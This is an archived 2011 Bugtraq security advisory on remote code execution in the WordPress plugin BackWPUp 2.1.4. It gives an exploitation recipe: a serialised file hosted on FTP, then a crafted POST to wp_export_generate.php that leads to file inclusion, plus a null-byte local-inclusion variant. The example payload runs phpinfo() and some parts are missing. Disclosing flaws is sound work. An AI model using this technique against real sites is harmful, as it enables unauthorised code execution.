lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Mon, 17 Oct 2011 21:51:29 +1100
From: "Lists" <>
To: "Bugtraq" <>
Subject: WordPress Plugin BackWPUp 2.1.4 - Security Advisory - SOS-11-012

Sense of Security - Security Advisory - SOS-11-012

Release Date.              17-Oct-2011
Vendor Notification Date.  14-Oct-2011
Product.                   BackWPUp
Platform.                  WordPress
Affected versions.         2.1.4
Severity Rating.           High
Impact.                    System access
Attack Vector.             Remote without authentication
Solution Status.           Upgrade to 2.1.5
CVE reference.             Not yet assigned


A vulnerability has been discovered in the WordPress plugin BackWPup
2.1.4 which can be exploited to execute local or remote code on the
web server.

There is a lack of data validation on the BackWPUpJobTemp POST
parameter of job/wp_export_generate.php allowing an attacker to
specify FTP resources as input.

This resource is downloaded and deserialised by the wp_export_generate.php
script and variables from this deserialisation are later passed to

Proof of Concept.

Upload the following to a publicly accessible FTP server and
name it "file.txt.running".


This serialised string creates an array containing:

$infile['WORKING'] = array();
$infile['WORKING']['NONCE'] = '123';
$infile['ABS_PATH'] = 

Once uploaded ensure the FTP file is writeable and issue a POST to
"job/wp_export_generate.php" with the following parameters:

$_POST['BackWPupJobTemp'] = "ftp://user:password@...2.0.128/file.txt";
$_POST['nonce'] = '123';
$_POST['type'] = 'getxmlexport';

The string included in $infile['ABS_PATH'] will then have "wp-load.php"
appended to it and passed to require_once.

In the above example the code contained in the base64 encoded string will
then be executed. The above code executes .phpinfo(); die();..
allow_URL_include will need to be on to allow to allow for remote file
inclusion, however local file inclusion could easily be achieved by using
null byte injection.

Upgrade to BackWPUp 2.1.5 of above.

Discovered by.
Phil Taylor from Sense of Security Labs.

About us.
Sense of Security is a leading provider of information security and risk
management solutions. Our team has expert skills in assessment and 
strategy and architecture, and deployment through to ongoing management.
We are Australia's premier application penetration testing firm and trusted
IT security advisor to many of the country.s largest organisations.

Sense of Security Pty Ltd
Level 8, 66 King St
Sydney NSW 2000

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:

Other Sense of Security advisories can be found at: 

Powered by blists - more mailing lists